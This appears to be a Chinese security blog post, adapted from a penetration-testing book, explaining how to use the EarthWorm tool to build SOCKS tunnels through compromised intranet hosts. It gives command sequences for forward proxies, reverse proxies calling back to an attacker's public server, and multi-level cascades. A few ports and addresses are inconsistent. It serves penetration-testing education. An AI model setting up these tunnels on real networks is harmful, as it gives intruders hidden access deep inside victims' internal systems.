注:本文章内容借鉴于《内网安全攻防 渗透测试实战指南》这本书籍。我刚入门内网渗透,特别是对那些出网不出网的网络环境,简直就是对待迷雾一样非常的迷糊, 再加上工具种类也很多,更容易混乱。直到我看到了这本书的这章内容,让我对内网的环境清晰了许多,这章内容使用了ew这个工具作为例子,然后讲解了,针对不同的网络环境,搭建不同的隧道。我觉得讲的很好,所以拿出来分享给大家,文章中,可能会有一些不足之处,请大佬们看后可以直接指出,以后改正。
EarthWorm 的应用
听说EW 的新版本 Termite .
如图1所示,测试环境为:左侧是个人计算机(内网)和一台有公网IP地址的V*S(虚拟主机服务器),右侧是一个小型内网。假设已经获得了一台Web服务器的权限,服务器的内网IP地址为10.48.128.25。其中,由我们控制的Web服务器是连接外网和内网的关键节点,内网其他服务器之间均不能直接连接。
在渗透测试中,笔者经常使用的SOCKS工具就是EW。该程序体积很小,Linux版本的程序只有30KB,Windows版本的程序也只有56KB,而且在使用时不需要进行其他设置。
打开EW的文件夹,可以看到其中有针对各种操作系统的程序,如图1所示。此时,根据实际测试环境选择操作系统即可。因为本次测试的目标主机的操作系统是Windows,所以要使用ew_ for_ _win.exe。
图 1
EW的使用也非常简单,共有六种命令格式,分别是 ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks,其他命令用于复杂网络环境的多级级联。
在介绍具体的命令用法之前,简单解释一下正向代理和反向代理的区别。正向代理是指主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。
ew 工具的参数
Eg: ./xxx -s ssocksd -h -s 该选项指定你需要使用的功能模块,以下6项内容中选择一项: ssocksd , rcsocks , rssocks , lcx_listen , lcx_tran , lcx_slave -l 该命令为服务启动开启指定端口 -d 指定转发或反弹的主机地址 -e 指定转发或反弹的主机端口 -f 指定连接或映射的主机地址 -g 指定连接或映射的主机端口 -h 打开帮助提示,当与-s参数共同使用时可以看到更详细的内容 -a 关于 -v 显示版本 -t usectime set the milliseconds for timeout. The default value is 1000 ...... 补充说明: 1、为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒), 用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制 将以隧道中最短的时间为默认值。 2、单纯从设计原理上讲,多级级联的三种状态可以转发任意以TCP为基础的通讯服务, 包括远程桌面/web服务 等。 ------------------------------------------------------------------ 目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为: ssocksd rcsocks rssocks lcx_slave lcx_tran lcx_listen 其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。 其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。 lcx 类别管道: lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。 lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。 lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。 通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。 下面是一个三级跳的本地测试例子。。。 ./ew -s rcsocks -l 1080 -e 8888 ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 ./ew -s lcx_listen -l 9999 -e 7777 ./ew -s rssocks -d 127.0.0.1 -e 7777 数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
(1)正向SOCKS5服务器
以下命令适用于目标机器拥有一个外网IP地址的情况
ew -s ssocksd -l 888 # 执行上述命令,即可架设一个端口为888的SOCKS代理。接下来,使用SocksCap64添加 这个IP地址的代理即可。
( 2)反弹SOCKS 5服务器
目标机器没有公网IP地址的情况具体如下(使其可以访问内网资源).
首先,将EW上传到如图1所示网络左侧IP地址为139.*.*.113的公网V*S(虚拟主机服务器)的C盘中,执行如下命令
ew -s rcsocks -l 1008 -e 888 # 该命令的意思是:在公网V*S(虚拟主机服务器) 上添加一个转接隧道,把1080端口收到的代理请求转发给888端口。
然后,将EW上传到如图1所示网络右侧IP地址为10.48.128.25的Web服务器的C盘中,执行如下命令
ew -s rssocks -d 139.*.*.11 -e 888 # 该命令的意思是:在IP地址为10.48.128.25的服务器上启动SOCKS 5服务,然后, 反弹到如图1所示网络左侧IP地址为139.*.*.113的公网V*S(虚拟主机服务器)的888端口。
最后,返回公网V*S(虚拟主机服务器)的命令行界面。可以看到,反弹成功了,现在就可以通过访问139.*.*.113的1008端口,使用在如图1所示网络右侧IP地址为10.48.128.25的服务器上架设的SOCKS 5代理服务了。
(3) 二级网络环境 (a)
假设已经获得了如图2所示网络右侧A 主机和B主机的控制权限。A主机配有两块网卡,一块能够连接外网,另一块(10.48.128.25)只能连接内网中的B主机,但无法访问内网中的
其他资源。B主机可以访问内网资源,但无法访问外网。
图2
首先,将EW上传到B主机中,利用ssocksd方式启动888端口的SOCKS代理,命令如下
ew -s ssocksd -l 888 # 启动正向连接代理,监听888端口
然后,将EW上传到如图2所示网络右侧的A主机中,执行如下命令
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888 # 该命令的意思是:将1080端口收到的代理请求转发给B主机(10.48.128.49)的888端口。
现在就可以通过访问A主机(139.*.*.113)的外网1080端口使用在B主机上架设的SOCKs5代理了
(4) 二级网络环境(b)
假设已经获得了如图3-127所示网络右侧的A主机和B主机的控制权限。A主机既没有公网IP地址,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
图3
以下操作会使用lcx_listen命令和lcx_slave命令。
首先,将EW上传到如图3所示网络左侧的公网V*S(虚拟专用服务器) 中,执行如下命令
ew -s lcx_listen -l 10800 -e 888 # 该命令的意思是:在公网V*S(虚拟主机服务器)中添加转接隧道,将10800端口收到的代理请求转发给888端口。
接着,将EW上传到如图3所示网络右侧的B主机中,并利用ssocksd方式启动999端口的SOCKS代理,命令如下
ew -s ssocksd -l 999 # 该命令启用正向连接到方式,监听999端口
然后,将EW上传到如图3所示网络右侧的A主机中,执行如下命令
ew -s lcx_slave -d 139.*.*.113 -e 888 -f 10.48.128.49 -g 999 # 该命令的意思是:在A主机上利用lcx_slave方式,将公网V*S(虚拟主机服务器)的888端口和B主机的999端口连接起来。
最后,返回公网V*S(虚拟主机服务器)的命令行界面。可以看到,连接成功了。
现在就可以通过访问公网V*S(虚拟主机服务器)( 139.*.*.113)的10800端口使用在B主机上架设的SOCKs5代理了。
(5)三级网络环境
三级网络环境在渗透测试中比较少见,也比较复杂。下面详细讲解三级级联命令的用法。
如图4所示,测试环境为:右侧的内网A主机没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被A主机访问;C主机可被B主机访问,而且能够访问核心区域。
图4
在如图4所示网络左侧的公网V*S(虚拟主机服务器)上执行如下命令: ew -s rcsocks -l 1080 -e 888 # 将1080端口收到的代理请求转发给888端口。 ew -s lcx_slave -d 139.*.*.113 -e 888 -f 10.48.128.12 -g 999 # 在A主机上执行如上命令,将公网V*S(虚拟主机服务器)的888端口和B主机的999端口连接起来 ew -s lcx_listen -l 999 -e 777 # 在B主机删执行如上命令,将999端口收到的代理请求转发给777端口 ew -s rssocks -d 10.48.128.12 -e 777 # 在C主机上启动socks5服务,并反弹到B主机的777端口上
现在就可以通过访问公网V*S(虚拟主机服务器)的1080端口使用在C主机上架设的SOCKS5代理了
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)